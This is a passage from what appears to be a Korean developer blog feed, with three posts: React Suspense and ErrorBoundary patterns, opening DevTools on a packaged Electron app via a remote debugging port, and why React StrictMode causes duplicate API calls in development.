<h3 id="3-2-suspense를-쓸-때-체감되는-효과">3-2. Suspense를 쓸 때 체감되는 효과</h3>
<p>이 방식 덕분에:</p>
<ul>
<li>로딩 상태가 컴포넌트 깊은 곳에 흩어지지 않고</li>
<li><em>“어디까지를 하나의 로딩 단위로 볼 건지”*</em>를 Boundary로 명확하게 자를 수 있고</li>
<li>화면이 깜빡이거나, 잠깐 빈 영역이 보이는 문제를 줄일 수 있습니다.</li>
</ul>
<p>예를 들어 이런 식입니다.</p>
<pre><code class="language-tsx">// 대시보드 전체를 하나의 Suspense boundary로 감싸는 예시
function Dashboard() {
  return (
    &lt;Suspense fallback={&lt;div&gt;대시보드 로딩 중...&lt;/div&gt;}&gt;
      &lt;UserSummary /&gt;   {/* 내부에서 데이터 패칭 */}
      &lt;ActivityChart /&gt; {/* 내부에서 데이터 패칭 */}
      &lt;NotificationList /&gt; {/* 내부에서 데이터 패칭 */}
    &lt;/Suspense&gt;
  );
}
</code></pre>
<p>각 컴포넌트가 알아서 비동기를 던지고,</p>
<p>Suspense가 그 전체를 하나의 “로딩 화면”으로 묶어줍니다.</p>
<p>좀 더 세분화하고 싶다면, 이런 식도 가능합니다.</p>
<pre><code class="language-tsx">function Dashboard() {
  return (
    &lt;div&gt;
      &lt;Suspense fallback={&lt;div&gt;프로필 불러오는 중...&lt;/div&gt;}&gt;
        &lt;UserSummary /&gt;
      &lt;/Suspense&gt;

      &lt;Suspense fallback={&lt;div&gt;활동 차트 로딩 중...&lt;/div&gt;}&gt;
        &lt;ActivityChart /&gt;
      &lt;/Suspense&gt;
    &lt;/div&gt;
  );
}
</code></pre>
<p>Boundary를 어떻게 나눌지에 따라</p>
<p><strong>“사용자가 어디까지를 하나의 화면으로 인식할지”</strong>를 설계할 수 있습니다.</p>
<hr>
<h2 id="4-🛡-errorboundary--suspense와-100-맞물려-돌아가는-에러-복구-메커니즘">4. 🛡 ErrorBoundary — Suspense와 100% 맞물려 돌아가는 에러 복구 메커니즘</h2>
<p>여기까지 보면 Suspense는 <strong>“대기(loading)”</strong>만 해결합니다.</p>
<p>그러면 <strong>“실패(error)”</strong>는 누가 처리할까요?</p>
<blockquote>
<p>대답: Suspense가 아니라, ErrorBoundary입니다.</p>
</blockquote>
<h3 id="4-1-errorboundary의-동작-흐름">4-1. ErrorBoundary의 동작 흐름</h3>
<p>React는 렌더링 중 에러가 발생하면 아래와 같이 동작합니다.</p>
<ol>
<li>렌더링 중 Error가 <code>throw</code>됨</li>
<li>React는 렌더링을 중단</li>
<li>가장 가까운 <code>&lt;ErrorBoundary&gt;</code>를 찾음</li>
<li>그 Boundary의 <code>fallback</code> UI를 렌더링하여 안전하게 복구</li>
</ol>
<p><strong>Suspense = “기다림” 담당</strong></p>
<p><strong>ErrorBoundary = “실패” 담당</strong></p>
<p>둘이 세트라고 보면 됩니다.</p>
<h3 id="4-2-errorboundary-예시">4-2. ErrorBoundary 예시</h3>
<pre><code class="language-tsx">// 클래스형 컴포넌트로만 공식 지원
class RootErrorBoundary extends React.Component&lt;
  { children: React.ReactNode },
  { hasError: boolean }
&gt; {
  constructor(props: any) {
    super(props);
    this.state = { hasError: false };
  }

  static getDerivedStateFromError() {
    return { hasError: true };
  }

  componentDidCatch(error: any, info: any) {
    console.error(&#39;[ErrorBoundary]&#39;, error, info);
  }

  render() {
    if (this.state.hasError) {
      return &lt;div&gt;문제가 발생했습니다. 잠시 후 다시 시도해 주세요.&lt;/div&gt;;
    }
    return this.props.children;
  }
}

// Suspense와 함께 사용
function App() {
  return (
    &lt;RootErrorBoundary&gt;
      &lt;Suspense fallback={&lt;div&gt;전체 앱 로딩 중...&lt;/div&gt;}&gt;
        &lt;MainRouter /&gt;
      &lt;/Suspense&gt;
    &lt;/RootErrorBoundary&gt;
  );
}
</code></pre>
<ul>
<li>비동기 로딩 중에는 Suspense가 처리</li>
<li>비동기 실패(또는 동기 에러)는 ErrorBoundary가 처리</li>
</ul>
<p>이렇게 되면:</p>
<ul>
<li>API 하나 터졌다고 전체 앱이 흰 화면이 되는 걸 막을 수 있고</li>
<li>“특정 영역만 에러 UI로 교체” 같은 UX를 설계할 수 있습니다.</li>
</ul>
<hr>
<h2 id="5-🔗-react-query--suspense--데이터-패칭을-react-렌더링-모델에-완전히-편입">5. 🔗 React Query + Suspense — 데이터 패칭을 React 렌더링 모델에 완전히 편입</h2>
<p>React Query를 쓸 때 가장 익숙한 패턴은 이거일 겁니다.</p>
<pre><code class="language-tsx">const { data, isLoading, isError } = useQuery({
  queryKey: [&#39;user&#39;, userId],
  queryFn: fetchUser,
});

if (isLoading) return &lt;div&gt;로딩 중...&lt;/div&gt;;
if (isError) return &lt;div&gt;에러…&lt;/div&gt;;
</code></pre>
<p>이 방식의 단점은:</p>
<ul>
<li>컴포넌트마다 로딩/에러 조건문이 반복되고</li>
<li>로딩 UI가 페이지 전역에서 제각각 만들어지고</li>
<li>중첩 컴포넌트 구조에서는 가독성이 급격히 떨어진다는 점입니다.</li>
</ul>
<p>React 18 이후, React Query는 <code>suspense: true</code>를 지원하면서 완전히 다른 그림이 나옵니다.</p>
<pre><code class="language-tsx">// React Query + Suspense 사용
const { data } = useQuery({
  queryKey: [&#39;user&#39;, userId],
  queryFn: fetchUser,
  suspense: true,  // 핵심
});
</code></pre>
<p>이제 내부적으로는 이렇게 동작합니다.</p>
<ul>
<li>로딩 중 → <code>Promise</code>를 던짐 → Suspense에서 <code>fallback</code> 렌더</li>
<li>실패 → Error를 던짐 → ErrorBoundary에서 복구</li>
<li>성공 → 정상적으로 데이터 사용</li>
</ul>
<p>예시를 한 번에 정리하면:</p>
<pre><code class="language-tsx">function UserProfile() {
  const { data: user } = useQuery({
    queryKey: [&#39;user&#39;, 1],
    queryFn: fetchUser,
    suspense: true,
  });

  return &lt;div&gt;{user.name}님 안녕하세요.&lt;/div&gt;;
}

function App() {
  return (
    &lt;RootErrorBoundary&gt;
      &lt;Suspense fallback={&lt;div&gt;사용자 정보를 불러오는 중입니다...&lt;/div&gt;}&gt;
        &lt;UserProfile /&gt;
      &lt;/Suspense&gt;
    &lt;/RootErrorBoundary&gt;
  );
}
</code></pre>
<p>여기서 포인트는:</p>
<ul>
<li><code>UserProfile</code> 내부에는 <code>isLoading</code>, <code>isError</code>가 사라지고</li>
<li><strong>로딩/에러 처리는 “위에서 한 번에”</strong> 잡아줄 수 있다는 점입니다.</li>
</ul>
<p>실제 프로젝트가 커지면, 이 구조가 생각보다 엄청 시원해집니다.</p>
<hr>
<h2 id="6-🌊-server-components--streaming--suspense가-만들어낸-ssr-진화">6. 🌊 Server Components + Streaming — Suspense가 만들어낸 SSR 진화</h2>
<p>Next.js 13 이후 도입된 <strong>Server Components / Streaming</strong>도 사실 Suspense 위에 서 있는 기능입니다.</p>
<p>아이디어는 단순합니다.</p>
<blockquote>
<p>“서버에서 준비된 부분만 먼저 보내고,</p>
<p>아직 안 된 부분은 Suspense fallback으로 대체해서 보낸 다음,</p>
<p>준비되면 해당 부분만 교체하자.”</p>
</blockquote>
<h3 id="6-1-아주-간단한-예시-느낌">6-1. 아주 간단한 예시 느낌</h3>
<pre><code class="language-tsx">// app/page.tsx (Next.js 13+ 예시 느낌)
import { Suspense } from &#39;react&#39;;
import UserFeed from &#39;./UserFeed&#39;;

export default function Page() {
  return (
    &lt;&gt;&lt;h1&gt;대시보드&lt;/h1&gt;
      &lt;Suspense fallback={&lt;div&gt;피드 로딩 중...&lt;/div&gt;}&gt;
        {/* 서버에서 데이터 패칭 후 스트리밍 */}
        &lt;UserFeed /&gt;
      &lt;/Suspense&gt;
    &lt;/&gt;
  );
}
</code></pre>
<p>실제로는 서버가:</p>
<ol>
<li><code>&lt;h1&gt;대시보드&lt;/h1&gt;</code>와 <code>fallback</code>을 먼저 내려보내고</li>
<li><code>UserFeed</code> 데이터가 준비되면</li>
<li>해당 영역만 치환하는 방식으로 동작합니다.</li>
</ol>
<p>이 구조 덕분에:</p>
<ul>
<li>초기 렌더링 체감 속도가 빨라지고</li>
<li>네트워크 지연이 덜 답답해지고</li>
<li>JS 번들 크기도 줄어들고</li>
<li>UX가 훨씬 자연스러워집니다.</li>
</ul>
<p>이 모든 게 가능한 이유가 바로 <strong>“부분적으로 UI를 대체하고 다시 복구한다”</strong>는 Suspense 모델이 존재하기 때문입니다.</p>
<hr>
<h2 id="7-🎛-결국-이-기술들은-하나의-흐름이다">7. 🎛 결국 이 기술들은 하나의 흐름이다</h2>
<p>정리해보면:</p>
<table>
<thead>
<tr>
<th>기술</th>
<th>해결하려는 문제</th>
<th>Suspense와의 관계</th>
</tr>
</thead>
<tbody><tr>
<td><strong>React.lazy</strong></td>
<td>코드 스플리팅 시 “로딩 중” 상태 처리</td>
<td>Promise를 던져서 Suspense가 받도록 함</td>
</tr>
<tr>
<td><strong>Suspense</strong></td>
<td>비동기 렌더링 전체를 React가 직접 제어</td>
<td>모든 비동기 흐름의 중심 엔진</td>
</tr>
<tr>
<td><strong>ErrorBoundary</strong></td>
<td>비동기/동기 에러를 안전하게 복구</td>
<td>Suspense가 못 잡는 “실패”를 담당</td>
</tr>
<tr>
<td><strong>React Query + Suspense</strong></td>
<td>데이터 패칭 로딩/에러를 렌더링 모델로 통합</td>
<td>Promise/Error를 던져 Suspense/EB에 위임</td>
</tr>
<tr>
<td><strong>Server Components/Streaming</strong></td>
<td>SSR에서 부분 렌더링/스트리밍</td>
<td>Suspense를 기반으로 부분적인 UI 교체</td>
</tr>
</tbody></table>
<p>즉, 이 기술들은 따로 떨어진 기능 목록이 아니라</p>
<p><strong>“React 렌더링 모델의 진화 과정에서 등장한 한 계보”</strong>에 가깝습니다.</p>
<blockquote>
<p>공통된 철학은 항상 하나입니다.</p>
<p><strong>“UI와 비동기를, React가 직접 통제하겠다.”</strong></p>
</blockquote>
<hr>
<h2 id="8-🌱-suspense를-제대로-쓰기-위한-사전-조건">8. 🌱 Suspense를 제대로 쓰기 위한 사전 조건</h2>
<p>Suspense는 강력하지만, “그냥 아무 데나 막 꽂아 넣으면 좋은 기능”은 아닙니다.</p>
<p>개인적으로는 아래 같은 상황에서 특히 잘 맞는다고 느꼈습니다.</p>
<ul>
<li>✔ 비동기 로직이 컴포넌트 곳곳에 섞여 있을 때</li>
<li>✔ 로딩/에러 UI를 <strong>일관되게</strong> 관리하고 싶을 때</li>
<li>✔ 페이지/기능 단위 코드 스플리팅을 적용하고 싶을 때</li>
<li>✔ 여러 API를 병렬로 호출하면서도 깔끔한 UI 흐름을 만들고 싶을 때</li>
<li>✔ Next.js처럼 SSR/Streaming까지 염두에 둔 구조를 만들고 싶을 때</li>
</ul>
<p>이럴 때 <strong>“Suspense + ErrorBoundary + (React Query or lazy)”</strong> 조합이 진짜 빛을 발합니다.</p>
<hr>
<h2 id="🎉-마지막-요약">🎉 마지막 요약</h2>
<p>Suspense는 <strong>“로딩 스피너 보여주는 컴포넌트”</strong>가 아닙니다.</p>
<p>Suspense는 React가 <strong>비동기 UI 전체를 스스로 통제하기 시작한 첫 번째 기술</strong>입니다.</p>
<blockquote>
<p>비동기 → 대기 → 복구 → 렌더링</p>
</blockquote>
<p>이 전체 사이클을 <strong>React 내부 엔진이 책임지는 구조</strong>로 바꾸면서,</p>
<ul>
<li>깜빡임 없는 UI</li>
<li>일관된 로딩/에러 처리</li>
<li>코드 스플리팅의 자연스러운 적용</li>
<li>SSR Streaming 같은 차세대 기능</li>
</ul>
<p>이런 것들이 한 줄로 이어지기 시작했습니다.</p>
<p>개인적으로는,</p>
<blockquote>
<p>“Suspense를 이해하는 순간</p>
<p>‘React 생태계 전체가 왜 이런 방향으로 진화하고 있는지’가</p>
<p>훨씬 명확하게 보인다”</p>
</blockquote>
<p>라는 느낌이 들었습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🚀 Electron 배포  `devTools: false` 막힌 버전에서 DevTools 여는 법]]></title>
            <link>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-devTools-false-%EB%A7%89%ED%9E%8C-%EB%B2%84%EC%A0%84%EC%97%90%EC%84%9C-DevTools-%EC%97%AC%EB%8A%94-%EB%B2%95</link>
            <guid>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-devTools-false-%EB%A7%89%ED%9E%8C-%EB%B2%84%EC%A0%84%EC%97%90%EC%84%9C-DevTools-%EC%97%AC%EB%8A%94-%EB%B2%95</guid>
            <pubDate>Wed, 26 Nov 2025 03:04:40 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/7bee0287-a6e8-45e5-85ee-eb629c490105/image.png" alt=""></p>
<p><em>— 다시 빌드하기 싫을 때 꼭 필요한 꿀팁입니다</em></p>
<p>Electron 개발을 하다 보면, 이런 순간이 꼭 찾아옵니다.</p>
<p>개발 모드에서는 정말 말 잘 듣던 앱이</p>
<p>배포 모드(Prod)만 올라가면 갑자기 태도가 달라지는 순간이요.</p>
<ul>
<li>무한 로딩만 뱅글뱅글 돈다든지</li>
<li>특정 페이지에서 멈춘다든지</li>
<li>엔진 IPC만 Prod에서 실패한다든지</li>
<li>심지어 콘솔도 안 찍혀서 뭐가 문제인지 감도 안 잡히는…</li>
</ul>
<p>게다가 더 난감한 건,</p>
<p><strong>“아… 제가 DevTools를 막아놨죠…”</strong></p>
<p>이겁니다.</p>
<p>보안을 위해 <code>devTools: false</code> 넣어놨거나</p>
<p>빌드할 때 콘솔 제거 플러그인까지 적용해놓아서</p>
<p><strong>배포된 exe에서는 DevTools를 열 수 없는 상황</strong>이 됩니다.</p>
<p>이때, 보통 떠올리는 해결책은 두 가지입니다.</p>
<ol>
<li>DevTools 다시 열리게 코드 고치고 →</li>
<li>빌드 → 패키징 → 설치 → 다시 테스트</li>
</ol>
<p>하지만…</p>
<p>솔직히 이 과정, 한 번 하면 괜찮은데</p>
<p>버그가 계속 바뀌기라도 하면 정말 피곤해집니다.</p>
<p>그래서 저는 결국 방법을 찾아냈습니다.</p>
<hr>
<h1 id="✨-결론부터-말하자면">✨ 결론부터 말하자면,</h1>
<p><strong>배포된 exe 그대로 DevTools를 열 수 있습니다.</strong></p>
<p>다시 빌드하지 않아도 됩니다.</p>
<p>코드를 한 줄도 고칠 필요 없습니다.</p>
<p>심지어 devTools를 false로 막아놔도 가능합니다.</p>
<p>Electron의 정체는 결국 <strong>Chromium 기반 브라우저</strong>입니다.</p>
<p>그리고 Chrome에는 공식적으로 “원격 디버깅 포트(Remote Debugging Port)”라는 기능이 있습니다.</p>
<p>이걸 Electron에서도 그대로 활용할 수 있습니다.</p>
<p>즉, 앱을 실행할 때 아래 옵션 한 줄만 붙이면 됩니다.</p>
<pre><code>--remote-debugging-port=9222
</code></pre><p>이게 끝입니다.</p>
<hr>
<h1 id="🔧-방법-배포된-exe에서-devtools-강제로-열기">🔧 방법: 배포된 exe에서 DevTools 강제로 열기</h1>
<h2 id="1-cmd명령-프롬프트를-실행합니다">1. CMD(명령 프롬프트)를 실행합니다.</h2>
<p>윈도우키 → <code>cmd</code> → 엔터</p>
<h2 id="2-배포된-exe가-있는-폴더로-이동합니다">2. 배포된 exe가 있는 폴더로 이동합니다.</h2>
<p>예를 들어 앱이 여기 설치돼 있다고 가정하면:</p>
<pre><code>C:\Users\사용자명\AppData\Local\Programs\YourApp
</code></pre><p>명령어는:</p>
<pre><code class="language-bash">cd &quot;C:\Users\사용자명\AppData\Local\Programs\YourApp&quot;
</code></pre>
<h2 id="3-앱을-디버깅-포트와-함께-실행합니다">3. 앱을 디버깅 포트와 함께 실행합니다.</h2>
<pre><code class="language-bash">YourApp.exe --remote-debugging-port=9222
</code></pre>
<p>이렇게 실행한 순간부터 Electron 내부의 Chromium은</p>
<p>디버깅용 포트(9222)를 열어놓게 됩니다.</p>
<p>앱은 그대로 정상 실행됩니다.</p>
<p>코드도 건드린 적 없습니다.</p>
<p>하지만 Chromium은 “디버깅 연결 준비 완료” 상태가 됩니다.</p>
<h2 id="4-chrome-브라우저에서-devtools로-접속합니다">4. Chrome 브라우저에서 DevTools로 접속합니다.</h2>
<p>Chrome 주소창에 입력합니다:</p>
<pre><code>chrome://inspect
</code></pre><p>→ “Discover network targets” 클릭</p>
<p>→ <code>localhost:9222</code> 추가
<img src="https://velog.velcdn.com/images/songyeonji_/post/5f3e0b34-3c3e-48dd-ba66-fd66af6dbca8/image.png" alt=""></p>
<p>→ 아래쪽 “Remote Target”에 Electron 프로세스가 뜹니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/dcff2e4e-53c5-4d52-8fb2-ba44dff66db8/image.png" alt=""></p>
<p>→ <strong>Inspect</strong> 버튼을 클릭합니다.</p>
<p>그러면 바로 DevTools가 열립니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/af50794c-692a-49e9-bd4d-2c22d0a9f4d3/image.png" alt=""></p>
<p>Elements, Console, Network, Sources, Performance, Application…</p>
<p>배포 모드에서만 보이는 그 문제들을</p>
<p>그 자리에서 그대로 확인할 수 있습니다.</p>
<hr>
<h1 id="🎁-이-방법의-장점">🎁 이 방법의 장점</h1>
<h3 id="✔-devtools-false여도-무조건-열립니다">✔ devTools: false여도 무조건 열립니다</h3>
<p>Electron 옵션으로 막혀 있어도 상관없습니다.</p>
<h3 id="✔-콘솔-제거-플러그인-적용돼-있어도-networkelements는-완전히-보입니다">✔ 콘솔 제거 플러그인 적용돼 있어도 Network/Elements는 완전히 보입니다</h3>
<p>remove-console 같은 플러그인 적용돼도 콘솔만 사라질 뿐,</p>
<p>디버깅 포트 연결은 그대로 가능합니다.</p>
<h3 id="✔-asar로-압축된-배포-버전에서도-당연히-가능합니다">✔ asar로 압축된 배포 버전에서도 당연히 가능합니다</h3>
<p>app.asar이든 unpacked든 관계 없습니다.</p>
<h3 id="✔-다시-빌드할-필요가-없습니다">✔ 다시 빌드할 필요가 없습니다</h3>
<p>코드 수정 → 빌드 → 패키징 → 설치…</p>
<p>이 반복 루프를 피할 수 있습니다.</p>
<h3 id="✔-생산성-급상승">✔ 생산성 급상승</h3>
<p>Prod 환경에서만 터지는 버그를 바로 캐치할 수 있습니다.</p>
<hr>
<h1 id="💬-마무리">💬 마무리</h1>
<p>Electron을 쓰다 보면 “개발 모드에서는 안 나는 버그가 왜 배포 모드에서만…” 이런 상황이 흔합니다.</p>
<p>그럴 때 DevTools까지 막혀 있다면 디버깅 자체가 막히기 쉽죠.</p>
<p>하지만 Electron은 브라우저 기반이기 때문에</p>
<p>이렇게 디버깅 포트만 열어주면 언제든 다시 DevTools를 연결할 수 있습니다.</p>
<p>저는 이 기능을 알고 난 후로</p>
<p>배포 빌드 다시 만드는 일이 절반으로 줄었습니다.</p>
<p>똑같은 문제를 겪고 있는 분들께 꼭 도움이 되었으면 합니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ 왜 내 API가 두 번 호출될까?  왜 내 API가 두 번 호출될까? ]]></title>
            <link>https://velog.io/@songyeonji_/%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C-%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C-%EC%99%9C-%EB%82%B4-API%EA%B0%80-%EB%91%90-%EB%B2%88-%ED%98%B8%EC%B6%9C%EB%90%A0%EA%B9%8C</guid>
            <pubDate>Mon, 29 Sep 2025 11:02:10 GMT</pubDate>
            <description><![CDATA[<p>React로 개발하다 보면, 분명히 <code>useEffect</code>에 한 번만 API를 넣었는데…</p>
<p><strong>API 요청 로그가 두 번씩 찍히는</strong> 현상을 경험하신 적 있으신가요?</p>
<p>저도 Electron + React 기반 사내 프로젝트를 하다가,</p>
<p>“어? 내 코드가 잘못된 건가? 서버가 중복 응답을 주는 건가?” 하고 한참을 헤맸습니다.</p>
<p>결론부터 말씀드리면, 이건 <strong>React StrictMode 때문</strong>입니다.</p>
<p>제 삽질 경험을 토대로, 왜 이런 일이 일어나는지, 배포에서는 어떤지,</p>
<p>그리고 제가 얻은 교훈까지 정리해보겠습니다.</p>
<hr>
<h2 id="1-strictmode란-무엇인가요">1. StrictMode란 무엇인가요?</h2>
<p>React의 <code>StrictMode</code>는 <strong>개발 모드에서만 실행되는 검증 도구</strong>입니다.</p>
<ul>
<li>코드에서 안전하지 않은 패턴을 찾고,</li>
<li>메모리 누수 가능성이 있는 코드를 조기에 발견하고,</li>
<li>사이드 이펙트(side effect) 실행 과정을 검증하기 위해</li>
</ul>
<p>React가 일부러 컴포넌트를 더 빡세게 실행합니다.</p>
<h3 id="왜-api-요청도-두-번-갈까">왜 API 요청도 두 번 갈까?</h3>
<p>StrictMode는 단순히 <strong>렌더링만 두 번</strong> 하는 게 아니라,</p>
<p><code>useEffect</code> 같은 부작용(side effect) 코드도 <strong>마운트 → 클린업 → 다시 마운트</strong> 흐름으로 반복 실행합니다.</p>
<p>즉, 코드가 이렇게 생겼다면:</p>
<pre><code class="language-tsx">useEffect(() =&gt; {
  fetchApi(); // API 호출
}, []);</code></pre>
<p>실행 순서는 이렇습니다:</p>
<ol>
<li>첫 번째 마운트 → <code>fetchApi()</code> 실행 → API 요청 1회</li>
<li>언마운트 &amp; 클린업</li>
<li>두 번째 마운트 → 다시 <code>fetchApi()</code> 실행 → API 요청 1회</li>
</ol>
<p>👉 <strong>결과적으로 API 요청이 2번 전송</strong>됩니다.</p>
<p>즉, 내 코드에는 문제가 없고, React가 일부러 그렇게 하는 겁니다.</p>
<h3 id="개발-모드-vs-배포-모드">개발 모드 vs 배포 모드</h3>
<ul>
<li><p><strong>개발 모드 (npm run start / vite dev 등)</strong></p>
<p>  StrictMode가 활성화되어 API 요청이 두 번 갑니다.</p>
</li>
<li><p><strong>배포 모드 (npm run build 후 실행, electron-builder 배포 등)</strong></p>
<p>  StrictMode 자체가 제거됩니다. 따라서 API는 <strong>정상적으로 한 번만 호출</strong>됩니다.</p>
</li>
</ul>
<p>저도 electron-builder로 패키징해서 실행했을 때는,</p>
<p>로그에 요청이 한 번만 찍히는 걸 확인했습니다.</p>
<p>개발할 땐 두 번, 배포하면 한 번 → 이게 정상입니다.</p>
<hr>
<h2 id="2-중복-호출을-막는-방법">2. 중복 호출을 막는 방법</h2>
<p>개발 모드에서 로그가 두 번 찍히는 게 불편하다면,</p>
<p>간단히 <code>useRef</code>를 써서 가드를 걸 수 있습니다.</p>
<pre><code class="language-tsx">const hasFetchedRef = useRef(false);

useEffect(() =&gt; {
  if (hasFetchedRef.current) return;
  hasFetchedRef.current = true;

  fetchApi();
}, []);
</code></pre>
<p>이렇게 하면 <strong>개발 모드에서도 API는 한 번만 호출</strong>됩니다.</p>
<p>저는 보통, <strong>조회 API</strong>는 두 번 호출돼도 상관없으니 그냥 두고,</p>
<p>중복 호출이 문제가 되는 <strong>등록/수정/승인 API</strong>만 이런 방어 로직을 넣었습니다.</p>
<h3 id="페이지-클릭-시-조회-api-호출">페이지 클릭 시 조회 API 호출</h3>
<p>Electron 프로젝트에서는 페이지 이동(라우터 클릭)마다 조회 API가 다시 호출되는데,</p>
<p>여기에 StrictMode까지 더해지니 “응답이 두 개씩 오는 것처럼” 보여서 헷갈리더군요.</p>
<p>실제로 로그는 이렇게 찍힙니다:</p>
<pre><code>[API ▶ getCpnMember 요청] { cpnId: 2, userId: 2 }
[API ◀ getCpnMember 응답] { result: { pscd: &#39;OK&#39;, data: [], pcsRsltMsg: &#39;응답을 보냈습니다.&#39; } }
[API ◀ getCpnMember 응답] { result: { pscd: &#39;OK&#39;, data: [], pcsRsltMsg: &#39;응답을 보냈습니다.&#39; } }
</code></pre><p>처음엔 “응답이 두 번 오네?”라고 생각했지만, 사실은 <strong>요청을 두 번 보낸 거</strong>였어요.</p>
<p>이것도 StrictMode의 영향으로, 배포 모드에선 정상적으로 한 번만 호출됩니다.</p>
<p>다만 페이지 이동 시마다 조회 API가 자동으로 불리는 구조라면,</p>
<p>캐시나 상태 관리 도구를 붙여서 불필요한 호출을 줄이는 게 좋습니다.</p>
<hr>
<h2 id="3-react-query--swr-같은-라이브러리-쓰기">3. React Query / SWR 같은 라이브러리 쓰기</h2>
<p>이런 문제를 더 깔끔하게 해결하고 싶다면,</p>
<p><strong>React Query</strong>나 <strong>SWR</strong> 같은 데이터 관리 라이브러리를 추천드립니다.</p>
<ul>
<li>같은 API를 여러 페이지에서 불러도 캐시에서 가져오기</li>
<li>새로고침 버튼을 눌렀을 때만 refetch 실행</li>
<li>상태/에러/로딩을 한 줄로 관리</li>
</ul>
<p>저는 단순 조회 API는 React Query로 관리하고,</p>
<p>트랜잭션성(등록/삭제/승인) API만 직접 호출하도록 나누니 훨씬 편했습니다.</p>
<h3 id="react-query--swr이-해결해주는-방식">React Query / SWR이 해결해주는 방식</h3>
<p>React Query와 SWR은 단순히 API 호출 라이브러리가 아니라, <strong>데이터 캐싱 계층</strong>이에요.</p>
<p>이 캐싱 계층이 있으면 “같은 키(key)”로 요청이 들어올 때 다음과 같은 일이 일어납니다:</p>
<ol>
<li><p><strong>디듀플리케이션(Deduplication)</strong></p>
<ul>
<li><p>동일한 API 요청이 짧은 시간 안에 여러 번 발생하더라도,</p>
<p>  내부에서 “아 이건 같은 요청이네”라고 판단하고 <strong>한 번만 실제로 요청</strong>을 보냅니다.</p>
</li>
<li><p>나머지는 캐시된 결과나 동일 Promise를 공유.</p>
</li>
</ul>
</li>
<li><p><strong>캐싱(Cache)</strong></p>
<ul>
<li><p>한 번 받아온 데이터를 캐시에 저장하고,</p>
<p>  동일한 키로 다시 조회하면 네트워크 요청 없이 <strong>즉시 캐시 데이터 반환</strong>.</p>
</li>
<li><p><code>refetch()</code> 같은 명령을 내리면 그때만 새로 요청.</p>
</li>
</ul>
</li>
<li><p><strong>상태 관리 자동화</strong></p>
<ul>
<li><p>로딩(<code>isLoading</code>), 성공(<code>data</code>), 에러(<code>error</code>) 상태를 자동으로 관리해 줘서,</p>
<p>  개발자가 직접 <code>loading</code> state 만들고, <code>try/catch</code> 돌릴 필요가 없어져요.</p>
</li>
</ul>
</li>
</ol>
<h3 id="구체적인-예시">구체적인 예시</h3>
<pre><code class="language-tsx">// React Query 예시
const { data, isLoading, error } = useQuery(
  [&#39;member&#39;, cpnId, userId], // 키
  () =&gt; getCpnMember({ cpnId, userId }) // API 호출
);</code></pre>
<p>위 코드를 <strong>StrictMode 환경에서 두 번 실행</strong>한다고 가정해봅시다:</p>
<ul>
<li><p>일반 fetch 사용: 요청 2번 → 서버에도 2번 요청</p>
</li>
<li><p>React Query 사용: 요청은 2번 트리거되더라도,</p>
<p>  내부에서 동일 키(<code>[&#39;member&#39;, 2, 2]</code>)로 관리 → <strong>실제 네트워크는 1번만 발생</strong></p>
<p>  두 번째 호출은 첫 번째 호출의 캐시/Promise를 재활용합니다.</p>
</li>
</ul>
<h3 id="swr은-어떻게-다르냐">SWR은 어떻게 다르냐?</h3>
<p>SWR도 원리는 비슷한데, 차이점은 “자동 새로고침”과 “Stale-While-Revalidate” 전략이 강점이에요.</p>
<ul>
<li><strong>React Query</strong>: 좀 더 완전한 데이터 관리 플랫폼 (mutate, optimistic update 등 풍부)</li>
<li><strong>SWR</strong>: 단순 조회 중심, 사용법이 직관적이고 lightweight</li>
</ul>
<h3 id="그래서-왜-좋은가">그래서 왜 좋은가?</h3>
<p>개발 모드에서 StrictMode 때문에 네트워크 요청이 2번씩 찍히는 상황에서도:</p>
<ul>
<li><p><strong>일반 fetch → 서버에 실제로 2번 요청 감</strong></p>
</li>
<li><p><strong>React Query / SWR → 서버엔 한 번만 요청 감</strong></p>
<p>  (개발자 입장에서는 로그만 2번 찍히고, 실제 요청은 캐시가 막아줌)</p>
</li>
</ul>
<p>게다가 캐시·상태 관리까지 자동이니,</p>
<p>“개발 모드라 로그가 번잡해도 실제 서버 트래픽은 안정적으로 1회”라는 안심을 줍니다.</p>
<blockquote>
<p>👉  React Query / SWR은 <strong>StrictMode 환경에서 API 중복 호출을 막아주는 안전장치 + 상태 관리 자동화</strong> 기능을 제공하기 때문에,  “로그가 두 번 찍히는 게 헷갈려요”라는 문제와 “불필요한 서버 트래픽” 문제를 동시에 해결해줍니다.</p>
</blockquote>
<hr>
<h2 id="제가-얻은-교훈">제가 얻은 교훈</h2>
<ol>
<li><strong>개발 모드</strong>에서 API가 두 번 호출되는 건 <strong>StrictMode의 정상 동작</strong>이다.</li>
<li><strong>배포 모드</strong>에서는 정상적으로 한 번만 호출되니 걱정할 필요 없다.</li>
<li>불편하다면 <code>useRef</code> 가드로 중복 호출을 막을 수 있다.</li>
<li>페이지 이동 시마다 조회 API를 다시 호출하는 구조는 필요에 따라 최적화해야 한다.</li>
<li>React Query / SWR 같은 라이브러리를 쓰면 중복 호출 문제를 훨씬 깔끔하게 관리할 수 있다.</li>
</ol>
<p>저는 이 삽질을 통해, 이제는 API 로그가 두 번 찍혀도 당황하지 않습니다.</p>
<p>“아, StrictMode 때문이지~” 하고 바로 넘길 수 있게 되었죠. 😎</p>
<p>혹시 여러분도 비슷한 경험 있으신가요?</p>
<p>만약 API 로그가 두 번 찍힌다면, 이제 안심하셔도 됩니다.</p>
<p><strong>여러분의 코드가 잘못된 게 아니라, React가 일부러 그런 거니까요!</strong></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🧹빌드 전에 꼭 필요한 대청소 - 캐시(Cache)를 치우자~]]></title>
